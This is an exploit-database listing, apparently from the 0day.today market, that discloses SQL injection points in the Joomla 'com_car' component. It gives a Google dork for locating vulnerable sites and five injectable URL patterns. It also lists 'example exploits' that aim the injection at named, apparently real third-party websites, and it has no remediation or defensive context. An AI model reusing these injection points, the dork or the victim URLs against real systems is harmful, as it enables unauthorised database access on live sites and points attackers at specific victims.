[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Joomla Component com_car SQL Injection Vulnerability

Author
the_cyber_nuxbie
Risk
[
Security Risk High
]
0day-ID
0day-ID-17537
Category
web applications
Date add
22-01-2012
Platform
php
[ Joomla Component com_car SQL Injection Vulnerability 0day ]

#[~] Author : the_cyber_nuxbie
#[~] Home : www.thecybernuxbie.com
#[~] E-mail : staff@thecybernuxbie.com
#[~] Found : 20 January 2012 - 07:45 PM.
#[~] Tested On : Windows 7 Ultimate.
#[~] Google Dork : inurl:"/index.php?option=com_car"

[x] exploits:

http://localhost/index.php?option=com_car&view=product&modelsid=[SQLi]

http://localhost/index.php?option=com_car&view=product&task=showAll&markid=[SQLi]

http://localhost/index.php?option=com_car&brand_id=[SQLi]

http://localhost/index.php?option=com_car&view=product&task=detail&markid=6&modelsid=&cid[]=[SQLi]

http://localhost/index.php?option=com_car&view=product&markid=&modelsid=[SQLi]

- Example Exploits:
http://mtcasaddasuto.com.vn/index.php?option=com_car&view=product&modelsid=3' [SQLi]
http://qnoitsadsdhat.com/index.php?option=com_car&view=product&task=showAll&markid=1' [SQLi]
http://carwasdasdsdadsholesale.com/index.php?option=com_car&brand_id=1' [SQLi]
http://miweson.vn/index.php?option=com_car&view=product&task=detail&markid=6&modelsid=&cid[]=70'
[SQLi]
http://noithathDungdung.com.vn/index.php?option=com_car&view=product&markid=&modelsid=3' [SQLi]

- N0T35:
0day no more...
"n0 d0rk f0r kiddi0t"

Thanks To:
All Indonesian Hackers, c0ders, attackers, bloggers, programmers, etc...



#  0day.today [2024-09-28]  #